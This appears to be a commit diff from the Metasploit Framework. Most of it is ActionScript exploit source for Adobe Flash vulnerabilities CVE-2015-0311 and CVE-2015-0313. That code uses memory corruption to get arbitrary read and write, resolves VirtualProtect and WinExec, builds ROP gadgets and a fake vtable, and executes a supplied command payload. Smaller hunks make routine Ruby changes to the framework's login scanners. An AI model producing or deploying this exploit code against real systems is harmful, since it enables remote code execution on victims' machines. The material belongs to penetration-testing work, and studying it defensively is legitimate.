|
||||||
|
|
||||||
|
// restoring the corrupted vector length since we don't need it
|
||||||
|
// anymore
|
||||||
|
byte_write(uv[uv_index][0], orig_length)
|
||||||
|
|
||||||
|
var flash:uint = base(vtable)
|
||||||
|
var winmm:uint = module("winmm.dll", flash)
|
||||||
|
var kernel32:uint = module("kernel32.dll", winmm)
|
||||||
|
var virtualprotect:uint = procedure("VirtualProtect", kernel32)
|
||||||
|
var winexec:uint = procedure("WinExec", kernel32)
|
||||||
|
var xchgeaxespret:uint = gadget("c394", 0x0000ffff, flash)
|
||||||
|
var xchgeaxesiret:uint = gadget("c396", 0x0000ffff, flash)
|
||||||
|
|
||||||
|
// Continuation of execution
|
||||||
|
byte_write(buffer + 0x10, "\xb8", false); byte_write(0, vtable, false) // mov eax, vtable
|
||||||
|
byte_write(0, "\xbb", false); byte_write(0, main, false) // mov ebx, main
|
||||||
|
byte_write(0, "\x89\x03", false) // mov [ebx], eax
|
||||||
|
byte_write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
|
||||||
|
|
||||||
|
// Put the payload (command) in memory
|
||||||
|
byte_write(payload_address + 8, payload, true); // payload
|
||||||
|
|
||||||
|
// Put the fake vtabe / stack on memory
|
||||||
|
byte_write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability...
|
||||||
|
byte_write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h]
|
||||||
|
byte_write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot
|
||||||
|
byte_write(0, virtualprotect)
|
||||||
|
|
||||||
|
// VirtualProtect
|
||||||
|
byte_write(0, winexec)
|
||||||
|
byte_write(0, buffer + 0x10)
|
||||||
|
byte_write(0, 0x1000)
|
||||||
|
byte_write(0, 0x40)
|
||||||
|
byte_write(0, buffer + 0x8) // Writable address (4 bytes)
|
||||||
|
|
||||||
|
// WinExec
|
||||||
|
byte_write(0, buffer + 0x10)
|
||||||
|
byte_write(0, payload_address + 8)
|
||||||
|
byte_write(0)
|
||||||
|
|
||||||
|
byte_write(main, stack_address + 0x18000) // overwrite with fake vtable
|
||||||
|
|
||||||
|
toString() // call method in the fake vtable
|
||||||
|
}
|
||||||
|
|
||||||
|
// Methods to use the integer overflow
|
||||||
|
|
||||||
|
private function search_object_vector(limit:uint = 0xf9000, pattern:uint = 1014):uint {
|
||||||
|
var mem:uint = 0
|
||||||
|
var mem_first_pos:uint = 0
|
||||||
|
var next_length:uint = 0
|
||||||
|
|
||||||
|
for (var i:uint = 0; i < limit; i = i + 4) {
|
||||||
|
mem = read_byte_array(i)
|
||||||
|
mem_first_pos = read_byte_array(i + 8)
|
||||||
|
if (mem == pattern && mem_first_pos != 0x41424344) {
|
||||||
|
return i;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
private function search_uint_vector(limit:uint = 0xf9000, pattern:uint = 1014):uint {
|
||||||
|
var mem:uint = 0
|
||||||
|
var mem_first_pos:uint = 0
|
||||||
|
|
||||||
|
for (var i:uint = 0; i < limit; i = i + 4) {
|
||||||
|
mem = read_byte_array(i)
|
||||||
|
mem_first_pos = read_byte_array(i + 8)
|
||||||
|
if (mem == pattern && mem_first_pos == 0x41424344) {
|
||||||
|
return i;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
private function read_byte_array(offset:uint = 0):uint {
|
||||||
|
var old:uint = casi32(offset, 0xdeedbeef, 0xdeedbeef)
|
||||||
|
return old
|
||||||
|
}
|
||||||
|
|
||||||
|
private function write_byte_array(offset:uint = 0, value:uint = 0):uint {
|
||||||
|
var old:uint = read_byte_array(offset)
|
||||||
|
casi32(offset, old, value)
|
||||||
|
return old
|
||||||
|
}
|
||||||
|
|
||||||
|
// Methods to use the corrupted vector for arbitrary reading/writing
|
||||||
|
|
||||||
|
private function vector_write(addr:uint, value:uint = 0):void
|
||||||
|
{
|
||||||
|
addr > uv[uv_index][0] ? uv[uv_index][(addr - uv[uv_index][0]) / 4 - 2] = value : uv[uv_index][0xffffffff - (uv[uv_index][0] - addr) / 4 - 1] = value
|
||||||
|
}
|
||||||
|
|
||||||
|
private function vector_read(addr:uint):uint
|
||||||
|
{
|
||||||
|
return addr > uv[uv_index][0] ? uv[uv_index][(addr - uv[uv_index][0]) / 4 - 2] : uv[uv_index][0xffffffff - (uv[uv_index][0] - addr) / 4 - 1]
|
||||||
|
}
|
||||||
|
|
||||||
|
// Methods to use the corrupted byte array for arbitrary reading/writing
|
||||||
|
|
||||||
|
private function byte_write(addr:uint, value:* = 0, zero:Boolean = true):void
|
||||||
|
{
|
||||||
|
if (addr) ba.position = addr
|
||||||
|
if (value is String) {
|
||||||
|
for (var i:uint; i < value.length; i++) ba.writeByte(value.charCodeAt(i))
|
||||||
|
if (zero) ba.writeByte(0)
|
||||||
|
} else ba.writeUnsignedInt(value)
|
||||||
|
}
|
||||||
|
|
||||||
|
private function byte_read(addr:uint, type:String = "dword"):uint
|
||||||
|
{
|
||||||
|
ba.position = addr
|
||||||
|
switch(type) {
|
||||||
|
case "dword":
|
||||||
|
return ba.readUnsignedInt()
|
||||||
|
case "word":
|
||||||
|
return ba.readUnsignedShort()
|
||||||
|
case "byte":
|
||||||
|
return ba.readUnsignedByte()
|
||||||
|
}
|
||||||
|
return 0
|
||||||
|
}
|
||||||
|
|
||||||
|
// Methods to search the memory with the corrupted byte array
|
||||||
|
|
||||||
|
private function base(addr:uint):uint
|
||||||
|
{
|
||||||
|
addr &= 0xffff0000
|
||||||
|
while (true) {
|
||||||
|
if (byte_read(addr) == 0x00905a4d) return addr
|
||||||
|
addr -= 0x10000
|
||||||
|
}
|
||||||
|
return 0
|
||||||
|
}
|
||||||
|
|
||||||
|
private function module(name:String, addr:uint):uint
|
||||||
|
{
|
||||||
|
var iat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x80)
|
||||||
|
var i:int = -1
|
||||||
|
while (true) {
|
||||||
|
var entry:uint = byte_read(iat + (++i) * 0x14 + 12)
|
||||||
|
if (!entry) throw new Error("FAIL!");
|
||||||
|
ba.position = addr + entry
|
||||||
|
var dll_name:String = ba.readUTFBytes(name.length).toUpperCase();
|
||||||
|
if (dll_name == name.toUpperCase()) {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return base(byte_read(addr + byte_read(iat + i * 0x14 + 16)));
|
||||||
|
}
|
||||||
|
|
||||||
|
private function procedure(name:String, addr:uint):uint
|
||||||
|
{
|
||||||
|
var eat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x78)
|
||||||
|
var numberOfNames:uint = byte_read(eat + 0x18)
|
||||||
|
var addressOfFunctions:uint = addr + byte_read(eat + 0x1c)
|
||||||
|
var addressOfNames:uint = addr + byte_read(eat + 0x20)
|
||||||
|
var addressOfNameOrdinals:uint = addr + byte_read(eat + 0x24)
|
||||||
|
|
||||||
|
for (var i:uint = 0; ; i++) {
|
||||||
|
var entry:uint = byte_read(addressOfNames + i * 4)
|
||||||
|
ba.position = addr + entry
|
||||||
|
if (ba.readUTFBytes(name.length+2).toUpperCase() == name.toUpperCase()) break
|
||||||
|
}
|
||||||
|
return addr + byte_read(addressOfFunctions + byte_read(addressOfNameOrdinals + i * 2, "word") * 4)
|
||||||
|
}
|
||||||
|
|
||||||
|
private function gadget(gadget:String, hint:uint, addr:uint):uint
|
||||||
|
{
|
||||||
|
var find:uint = 0
|
||||||
|
var limit:uint = byte_read(addr + byte_read(addr + 0x3c) + 0x50)
|
||||||
|
var value:uint = parseInt(gadget, 16)
|
||||||
|
for (var i:uint = 0; i < limit - 4; i++) if (value == (byte_read(addr + i) & hint)) break
|
||||||
|
return addr + i
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -3,6 +3,7 @@
|
||||||
// 2. Be support to support 16.0 as target-player (flex-config.xml).
|
// 2. Be support to support 16.0 as target-player (flex-config.xml).
|
||||||
// 3. Download the Flex SDK (4.6)
|
// 3. Download the Flex SDK (4.6)
|
||||||
// 4. Copy the Flex SDK libs (<FLEX_SDK>/framework/libs) to the AIRSDK folder (<AIR_SDK>/framework/libs)
|
// 4. Copy the Flex SDK libs (<FLEX_SDK>/framework/libs) to the AIRSDK folder (<AIR_SDK>/framework/libs)
|
||||||
|
// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder)
|
||||||
// 5. Build with: mxmlc -o msf.swf Main.as
|
// 5. Build with: mxmlc -o msf.swf Main.as
|
||||||
|
|
||||||
// Original code by @hdarwin89 // http://blog.hacklab.kr/flash-cve-2015-0311-%EB%B6%84%EC%84%9D/
|
// Original code by @hdarwin89 // http://blog.hacklab.kr/flash-cve-2015-0311-%EB%B6%84%EC%84%9D/
|
||||||
|
|
|
@ -0,0 +1,207 @@
|
||||||
|
// Build how to:
|
||||||
|
// 1. Download the AIRSDK, and use its compiler.
|
||||||
|
// 2. Be support to support 16.0 as target-player (flex-config.xml).
|
||||||
|
// 3. Download the Flex SDK (4.6)
|
||||||
|
// 4. Copy the Flex SDK libs (<FLEX_SDK>/framework/libs) to the AIRSDK folder (<AIR_SDK>/framework/libs)
|
||||||
|
// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder)
|
||||||
|
// 5. Build with: mxmlc -o msf.swf Main.as
|
||||||
|
|
||||||
|
// Original code by @hdarwin89 // http://hacklab.kr/flash-cve-2015-0313-%EB%B6%84%EC%84%9D/
|
||||||
|
// Modified to be used from msf
|
||||||
|
package
|
||||||
|
{
|
||||||
|
import flash.display.Sprite
|
||||||
|
import flash.display.LoaderInfo
|
||||||
|
import flash.events.Event
|
||||||
|
import flash.utils.ByteArray
|
||||||
|
import flash.system.Worker
|
||||||
|
import flash.system.WorkerDomain
|
||||||
|
import flash.system.MessageChannel
|
||||||
|
import flash.system.ApplicationDomain
|
||||||
|
import avm2.intrinsics.memory.casi32
|
||||||
|
import mx.utils.Base64Decoder
|
||||||
|
|
||||||
|
public class Main extends Sprite
|
||||||
|
{
|
||||||
|
private var ov:Vector.<Object> = new Vector.<Object>(25600)
|
||||||
|
private var uv:Vector.<uint> = new Vector.<uint>
|
||||||
|
private var ba:ByteArray = new ByteArray()
|
||||||
|
private var worker:Worker
|
||||||
|
private var mc:MessageChannel
|
||||||
|
private var b64:Base64Decoder = new Base64Decoder()
|
||||||
|
private var payload:String = ""
|
||||||
|
|
||||||
|
public function Main()
|
||||||
|
{
|
||||||
|
if (Worker.current.isPrimordial) mainThread()
|
||||||
|
else workerThread()
|
||||||
|
}
|
||||||
|
|
||||||
|
private function mainThread():void
|
||||||
|
{
|
||||||
|
b64.decode(LoaderInfo(this.root.loaderInfo).parameters.sh)
|
||||||
|
payload = b64.toByteArray().toString()
|
||||||
|
|
||||||
|
ba.length = 0x1000
|
||||||
|
ba.shareable = true
|
||||||
|
for (var i:uint = 0; i < ov.length; i++) {
|
||||||
|
ov[i] = new Vector.<Object>(1014)
|
||||||
|
ov[i][0] = ba
|
||||||
|
ov[i][1] = this
|
||||||
|
}
|
||||||
|
for (i = 0; i < ov.length; i += 2) delete(ov[i])
|
||||||
|
worker = WorkerDomain.current.createWorker(this.loaderInfo.bytes)
|
||||||
|
mc = worker.createMessageChannel(Worker.current)
|
||||||
|
mc.addEventListener(Event.CHANNEL_MESSAGE, onMessage)
|
||||||
|
worker.setSharedProperty("mc", mc)
|
||||||
|
worker.setSharedProperty("ba", ba)
|
||||||
|
ApplicationDomain.currentDomain.domainMemory = ba
|
||||||
|
worker.start()
|
||||||
|
}
|
||||||
|
|
||||||
|
private function workerThread():void
|
||||||
|
{
|
||||||
|
var ba:ByteArray = Worker.current.getSharedProperty("ba")
|
||||||
|
var mc:MessageChannel = Worker.current.getSharedProperty("mc")
|
||||||
|
ba.clear()
|
||||||
|
ov[0] = new Vector.<uint>(1022)
|
||||||
|
mc.send("")
|
||||||
|
while (mc.messageAvailable);
|
||||||
|
ov[0][0] = ov[0][0x403] - 0x18 - 0x1000
|
||||||
|
ba.length = 0x500000
|
||||||
|
var buffer:uint = vector_read(vector_read(ov[0][0x408] - 1 + 0x40) + 8) + 0x100000
|
||||||
|
var main:uint = ov[0][0x409] - 1
|
||||||
|
var vtable:uint = vector_read(main)
|
||||||
|
vector_write(vector_read(ov[0][0x408] - 1 + 0x40) + 8)
|
||||||
|
vector_write(vector_read(ov[0][0x408] - 1 + 0x40) + 16, 0xffffffff)
|
||||||
|
mc.send(ov[0][0].toString() + "/" + buffer.toString() + "/" + main.toString() + "/" + vtable.toString())
|
||||||
|
}
|
||||||
|
|
||||||
|
private function onMessage(e:Event):void
|
||||||
|
{
|
||||||
|
casi32(0, 1022, 0xFFFFFFFF)
|
||||||
|
if (ba.length != 0xffffffff) mc.receive()
|
||||||
|
else {
|
||||||
|
ba.endian = "littleEndian"
|
||||||
|
var data:Array = (mc.receive() as String).split("/")
|
||||||
|
byte_write(parseInt(data[0]))
|
||||||
|
var buffer:uint = parseInt(data[1]) as uint
|
||||||
|
var main:uint = parseInt(data[2]) as uint
|
||||||
|
var vtable:uint = parseInt(data[3]) as uint
|
||||||
|
var flash:uint = base(vtable)
|
||||||
|
var ieshims:uint = module("winmm.dll", flash)
|
||||||
|
var kernel32:uint = module("kernel32.dll", ieshims)
|
||||||
|
|
||||||
|
var virtualprotect:uint = procedure("VirtualProtect", kernel32)
|
||||||
|
var winexec:uint = procedure("WinExec", kernel32)
|
||||||
|
var xchgeaxespret:uint = gadget("c394", 0x0000ffff, flash)
|
||||||
|
var xchgeaxesiret:uint = gadget("c396", 0x0000ffff, flash)
|
||||||
|
|
||||||
|
//CoE
|
||||||
|
byte_write(buffer + 0x30000, "\xb8", false); byte_write(0, vtable, false) // mov eax, vtable
|
||||||
|
byte_write(0, "\xbb", false); byte_write(0, main, false) // mov ebx, main
|
||||||
|
byte_write(0, "\x89\x03", false) // mov [ebx], eax
|
||||||
|
byte_write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
|
||||||
|
|
||||||
|
byte_write(buffer+0x200, payload);
|
||||||
|
byte_write(buffer + 0x20070, xchgeaxespret)
|
||||||
|
byte_write(buffer + 0x20000, xchgeaxesiret)
|
||||||
|
byte_write(0, virtualprotect)
|
||||||
|
|
||||||
|
// VirtualProtect
|
||||||
|
byte_write(0, winexec)
|
||||||
|
byte_write(0, buffer + 0x30000)
|
||||||
|
byte_write(0, 0x1000)
|
||||||
|
byte_write(0, 0x40)
|
||||||
|
byte_write(0, buffer + 0x100)
|
||||||
|
|
||||||
|
// WinExec
|
||||||
|
byte_write(0, buffer + 0x30000)
|
||||||
|
byte_write(0, buffer + 0x200)
|
||||||
|
byte_write(0)
|
||||||
|
|
||||||
|
byte_write(main, buffer + 0x20000)
|
||||||
|
toString()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private function vector_write(addr:uint, value:uint = 0):void
|
||||||
|
{
|
||||||
|
addr > ov[0][0] ? ov[0][(addr - uv[0]) / 4 - 2] = value : ov[0][0xffffffff - (ov[0][0] - addr) / 4 - 1] = value
|
||||||
|
}
|
||||||
|
|
||||||
|
private function vector_read(addr:uint):uint
|
||||||
|
{
|
||||||
|
return addr > ov[0][0] ? ov[0][(addr - ov[0][0]) / 4 - 2] : ov[0][0xffffffff - (ov[0][0] - addr) / 4 - 1]
|
||||||
|
}
|
||||||
|
|
||||||
|
private function byte_write(addr:uint, value:* = 0, zero:Boolean = true):void
|
||||||
|
{
|
||||||
|
if (addr) ba.position = addr
|
||||||
|
if (value is String) {
|
||||||
|
for (var i:uint; i < value.length; i++) ba.writeByte(value.charCodeAt(i))
|
||||||
|
if (zero) ba.writeByte(0)
|
||||||
|
} else ba.writeUnsignedInt(value)
|
||||||
|
}
|
||||||
|
|
||||||
|
private function byte_read(addr:uint, type:String = "dword"):uint
|
||||||
|
{
|
||||||
|
ba.position = addr
|
||||||
|
switch(type) {
|
||||||
|
case "dword":
|
||||||
|
return ba.readUnsignedInt()
|
||||||
|
case "word":
|
||||||
|
return ba.readUnsignedShort()
|
||||||
|
case "byte":
|
||||||
|
return ba.readUnsignedByte()
|
||||||
|
}
|
||||||
|
return 0
|
||||||
|
}
|
||||||
|
|
||||||
|
private function base(addr:uint):uint
|
||||||
|
{
|
||||||
|
addr &= 0xffff0000
|
||||||
|
while (true) {
|
||||||
|
if (byte_read(addr) == 0x00905a4d) return addr
|
||||||
|
addr -= 0x10000
|
||||||
|
}
|
||||||
|
return 0
|
||||||
|
}
|
||||||
|
|
||||||
|
private function module(name:String, addr:uint):uint
|
||||||
|
{
|
||||||
|
var iat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x80), i:int = -1
|
||||||
|
while (true) {
|
||||||
|
var entry:uint = byte_read(iat + (++i) * 0x14 + 12)
|
||||||
|
if (!entry) throw new Error("FAIL!");
|
||||||
|
ba.position = addr + entry
|
||||||
|
if (ba.readUTFBytes(name.length).toUpperCase() == name.toUpperCase()) break
|
||||||
|
}
|
||||||
|
return base(byte_read(addr + byte_read(iat + i * 0x14 + 16)))
|
||||||
|
}
|
||||||
|
|
||||||
|
private function procedure(name:String, addr:uint):uint
|
||||||
|
{
|
||||||
|
var eat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x78)
|
||||||
|
var numberOfNames:uint = byte_read(eat + 0x18)
|
||||||
|
var addressOfFunctions:uint = addr + byte_read(eat + 0x1c)
|
||||||
|
var addressOfNames:uint = addr + byte_read(eat + 0x20)
|
||||||
|
var addressOfNameOrdinals:uint = addr + byte_read(eat + 0x24)
|
||||||
|
for (var i:uint = 0; ; i++) {
|
||||||
|
var entry:uint = byte_read(addressOfNames + i * 4)
|
||||||
|
ba.position = addr + entry
|
||||||
|
if (ba.readUTFBytes(name.length+2).toUpperCase() == name.toUpperCase()) break
|
||||||
|
}
|
||||||
|
return addr + byte_read(addressOfFunctions + byte_read(addressOfNameOrdinals + i * 2, "word") * 4)
|
||||||
|
}
|
||||||
|
|
||||||
|
private function gadget(gadget:String, hint:uint, addr:uint):uint
|
||||||
|
{
|
||||||
|
var find:uint = 0
|
||||||
|
var limit:uint = byte_read(addr + byte_read(addr + 0x3c) + 0x50)
|
||||||
|
var value:uint = parseInt(gadget, 16)
|
||||||
|
for (var i:uint = 0; i < limit - 4; i++) if (value == (byte_read(addr + i) & hint)) break
|
||||||
|
return addr + i
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -96,7 +96,7 @@ class JavaClass < ExeFormat
|
||||||
when 'NameAndType'
|
when 'NameAndType'
|
||||||
@info = ConstantNameAndType.decode(c)
|
@info = ConstantNameAndType.decode(c)
|
||||||
else
|
else
|
||||||
raise 'unkown constant tag'
|
raise 'unknown constant tag'
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
|
@ -306,8 +306,8 @@ class ExeFormat
|
||||||
# creates a new label, that is guaranteed to never be returned again as long as this object (ExeFormat) exists
|
# creates a new label, that is guaranteed to never be returned again as long as this object (ExeFormat) exists
|
||||||
def new_label(base = '')
|
def new_label(base = '')
|
||||||
base = base.dup.tr('^a-zA-Z0-9_', '_')
|
base = base.dup.tr('^a-zA-Z0-9_', '_')
|
||||||
# use %x instead of to_s(16) for negative values
|
# use %x with absolute value to avoid negative number formatting
|
||||||
base = (base << '_uuid' << ('%08x' % base.object_id)).freeze if base.empty? or @unique_labels_cache[base]
|
base = (base << '_uuid' << ('%08x' % base.object_id.abs)).freeze if base.empty? or @unique_labels_cache[base]
|
||||||
@unique_labels_cache[base] = true
|
@unique_labels_cache[base] = true
|
||||||
base
|
base
|
||||||
end
|
end
|
||||||
|
|
|
@ -32,6 +32,7 @@ module Metasploit::Framework::CommonEngine
|
||||||
end
|
end
|
||||||
|
|
||||||
config.root = Msf::Config::install_root
|
config.root = Msf::Config::install_root
|
||||||
|
config.paths.add 'app/concerns', autoload: true
|
||||||
config.paths.add 'data/meterpreter', glob: '**/ext_*'
|
config.paths.add 'data/meterpreter', glob: '**/ext_*'
|
||||||
config.paths.add 'modules'
|
config.paths.add 'modules'
|
||||||
|
|
||||||
|
|
|
@ -79,7 +79,7 @@ class Metasploit::Framework::CredentialCollection
|
||||||
# Adds a string as an addition private credential
|
# Adds a string as an addition private credential
|
||||||
# to be combined in the collection.
|
# to be combined in the collection.
|
||||||
#
|
#
|
||||||
# @param [String] :private_str the string to use as a private
|
# @param [String] private_str the string to use as a private
|
||||||
# @return [void]
|
# @return [void]
|
||||||
def add_private(private_str='')
|
def add_private(private_str='')
|
||||||
additional_privates << private_str
|
additional_privates << private_str
|
||||||
|
@ -88,7 +88,7 @@ class Metasploit::Framework::CredentialCollection
|
||||||
# Adds a string as an addition public credential
|
# Adds a string as an addition public credential
|
||||||
# to be combined in the collection.
|
# to be combined in the collection.
|
||||||
#
|
#
|
||||||
# @param [String] :public_str the string to use as a public
|
# @param [String] public_str the string to use as a public
|
||||||
# @return [void]
|
# @return [void]
|
||||||
def add_public(public_str='')
|
def add_public(public_str='')
|
||||||
additional_publics << public_str
|
additional_publics << public_str
|
||||||
|
|
|
@ -24,12 +24,19 @@ module Metasploit
|
||||||
# @param credential [Metasploit::Framework::Credential] The credential object
|
# @param credential [Metasploit::Framework::Credential] The credential object
|
||||||
# @return [Result]
|
# @return [Result]
|
||||||
def attempt_login(credential)
|
def attempt_login(credential)
|
||||||
result_opts = { credential: credential }
|
result_opts = {
|
||||||
|
credential: credential,
|
||||||
|
status: Metasploit::Model::Login::Status::INCORRECT,
|
||||||
|
proof: nil,
|
||||||
|
host: host,
|
||||||
|
port: port,
|
||||||
|
protocol: 'tcp'
|
||||||
|
}
|
||||||
|
|
||||||
begin
|
begin
|
||||||
status = try_login(credential)
|
status = try_login(credential)
|
||||||
result_opts.merge!(status)
|
result_opts.merge!(status)
|
||||||
rescue ::EOFError, Rex::ConnectionError, ::Timeout::Error => e
|
rescue ::EOFError, Errno::ECONNRESET, Rex::ConnectionError, OpenSSL::SSL::SSLError, ::Timeout::Error => e
|
||||||
result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e)
|
result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
|
@ -83,7 +83,7 @@ module Metasploit
|
||||||
else
|
else
|
||||||
result_opts.merge!(status: Metasploit::Model::Login::Status::INCORRECT, proof: res)
|
result_opts.merge!(status: Metasploit::Model::Login::Status::INCORRECT, proof: res)
|
||||||
end
|
end
|
||||||
rescue ::EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error => e
|
rescue ::EOFError, Errno::ETIMEDOUT ,Errno::ECONNRESET, Rex::ConnectionError, OpenSSL::SSL::SSLError, ::Timeout::Error => e
|
||||||
result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e)
|
result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e)
|
||||||
ensure
|
ensure
|
||||||
cli.close
|
cli.close
|
||||||
|
|
|
@ -183,7 +183,7 @@ module Metasploit
|
||||||
status = try_glassfish_3(credential)
|
status = try_glassfish_3(credential)
|
||||||
result_opts.merge!(status)
|
result_opts.merge!(status)
|
||||||
end
|
end
|
||||||
rescue ::EOFError, Rex::ConnectionError, ::Timeout::Error => e
|
rescue ::EOFError, Errno::ECONNRESET, Rex::ConnectionError, OpenSSL::SSL::SSLError, ::Timeout::Error => e
|
||||||
result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e)
|
result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
|
@ -187,13 +187,66 @@ module Metasploit
|
||||||
error_message
|
error_message
|
||||||
end
|
end
|
||||||
|
|
||||||
|
# Sends a HTTP request with Rex
|
||||||
|
#
|
||||||
|
# @param [Hash] opts native support includes the following (also see Rex::Proto::Http::Request#request_cgi)
|
||||||
|
# @option opts [String] 'host' The remote host
|
||||||
|
# @option opts [Fixnum] 'port' The remote port
|
||||||
|
# @option opts [Boolean] 'ssl' The SSL setting, TrueClass or FalseClass
|
||||||
|
# @option opts [String] 'proxies' The proxies setting
|
||||||
|
# @option opts [Credential] 'credential' A credential object
|
||||||
|
# @option opts ['Hash'] 'context' A context
|
||||||
|
# @raise [Rex::ConnectionError] One of these errors has occured: EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error
|
||||||
|
# @return [Rex::Proto::Http::Response] The HTTP response
|
||||||
|
# @return [NilClass] An error has occured while reading the response (see #Rex::Proto::Http::Client#read_response)
|
||||||
|
def send_request(opts)
|
||||||
|
rhost = opts['host'] || host
|
||||||
|
rport = opts['rport'] || port
|
||||||
|
cli_ssl = opts['ssl'] || ssl
|
||||||
|
cli_ssl_version = opts['ssl_version'] || ssl_version
|
||||||
|
cli_proxies = opts['proxies'] || proxies
|
||||||
|
username = opts['credential'] ? opts['credential'].public : ''
|
||||||
|
password = opts['credential'] ? opts['credential'].private : ''
|
||||||
|
realm = opts['credential'] ? opts['credential'].realm : nil
|
||||||
|
context = opts['context'] || { 'Msf' => framework, 'MsfExploit' => framework_module}
|
||||||
|
|
||||||
|
res = nil
|
||||||
|
cli = Rex::Proto::Http::Client.new(
|
||||||
|
rhost,
|
||||||
|
rport,
|
||||||
|
context,
|
||||||
|
cli_ssl,
|
||||||
|
cli_ssl_version,
|
||||||
|
cli_proxies,
|
||||||
|
username,
|
||||||
|
password
|
||||||
|
)
|
||||||
|
configure_http_client(cli)
|
||||||
|
|
||||||
|
if realm
|
||||||
|
cli.set_config('domain' => realm)
|
||||||
|
end
|
||||||
|
|
||||||
|
begin
|
||||||
|
cli.connect
|
||||||
|
req = cli.request_cgi(opts)
|
||||||
|
res = cli.send_recv(req)
|
||||||
|
rescue ::EOFError, Errno::ETIMEDOUT ,Errno::ECONNRESET, Rex::ConnectionError, OpenSSL::SSL::SSLError, ::Timeout::Error => e
|
||||||
|
raise Rex::ConnectionError, e.message
|
||||||
|
ensure
|
||||||
|
cli.close
|
||||||
|
end
|
||||||
|
|
||||||
|
res
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
# Attempt a single login with a single credential against the target.
|
# Attempt a single login with a single credential against the target.
|
||||||
#
|
#
|
||||||
# @param credential [Credential] The credential object to attempt to
|
# @param credential [Credential] The credential object to attempt to
|
||||||
# login with.
|
# login with.
|
||||||
# @return [Result] A Result object indicating success or failure
|
# @return [Result] A Result object indicating success or failure
|
||||||
def attempt_login(credential)
|
def attempt_login(credential)
|
||||||
|
|
||||||
result_opts = {
|
result_opts = {
|
||||||
credential: credential,
|
credential: credential,
|
||||||
status: Metasploit::Model::Login::Status::INCORRECT,
|
status: Metasploit::Model::Login::Status::INCORRECT,
|
||||||
|
@ -209,32 +262,13 @@ module Metasploit
|
||||||
result_opts[:service_name] = 'http'
|
result_opts[:service_name] = 'http'
|
||||||
end
|
end
|
||||||
|
|
||||||
http_client = Rex::Proto::Http::Client.new(
|
|
||||||
host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version,
|
|
||||||
proxies, credential.public, credential.private
|
|
||||||
)
|
|
||||||
|
|
||||||
configure_http_client(http_client)
|
|
||||||
|
|
||||||
if credential.realm
|
|
||||||
http_client.set_config('domain' => credential.realm)
|
|
||||||
end
|
|
||||||
|
|
||||||
begin
|
begin
|
||||||
http_client.connect
|
response = send_request('credential'=>credential, 'uri'=>uri, 'method'=>method)
|
||||||
request = http_client.request_cgi(
|
|
||||||
'uri' => uri,
|
|
||||||
'method' => method
|
|
||||||
)
|
|
||||||
|
|
||||||
response = http_client.send_recv(request)
|
|
||||||
if response && response.code == 200
|
if response && response.code == 200
|
||||||
result_opts.merge!(status: Metasploit::Model::Login::Status::SUCCESSFUL, proof: response.headers)
|
result_opts.merge!(status: Metasploit::Model::Login::Status::SUCCESSFUL, proof: response.headers)
|
||||||
end
|
end
|
||||||
rescue ::EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error => e
|
rescue Rex::ConnectionError => e
|
||||||
result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e)
|
result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e)
|
||||||
ensure
|
|
||||||
http_client.close
|
|
||||||
end
|
end
|
||||||
|
|
||||||
Result.new(result_opts)
|
Result.new(result_opts)
|
||||||
|
@ -322,7 +356,7 @@ module Metasploit
|
||||||
|
|
||||||
# Combine the base URI with the target URI in a sane fashion
|
# Combine the base URI with the target URI in a sane fashion
|
||||||
#
|
#
|
||||||
# @param [String] The target URL
|
# @param [String] target_uri the target URL
|
||||||
# @return [String] the final URL mapped against the base
|
# @return [String] the final URL mapped against the base
|
||||||
def normalize_uri(target_uri)
|
def normalize_uri(target_uri)
|
||||||
(self.uri.to_s + "/" + target_uri.to_s).gsub(/\/+/, '/')
|
(self.uri.to_s + "/" + target_uri.to_s).gsub(/\/+/, '/')
|
||||||
|
|
|
@ -50,7 +50,7 @@ module Metasploit
|
||||||
else
|
else
|
||||||
result_opts.merge!(status: Metasploit::Model::Login::Status::INCORRECT, proof: res)
|
result_opts.merge!(status: Metasploit::Model::Login::Status::INCORRECT, proof: res)
|
||||||
end
|
end
|
||||||
rescue ::EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error => e
|
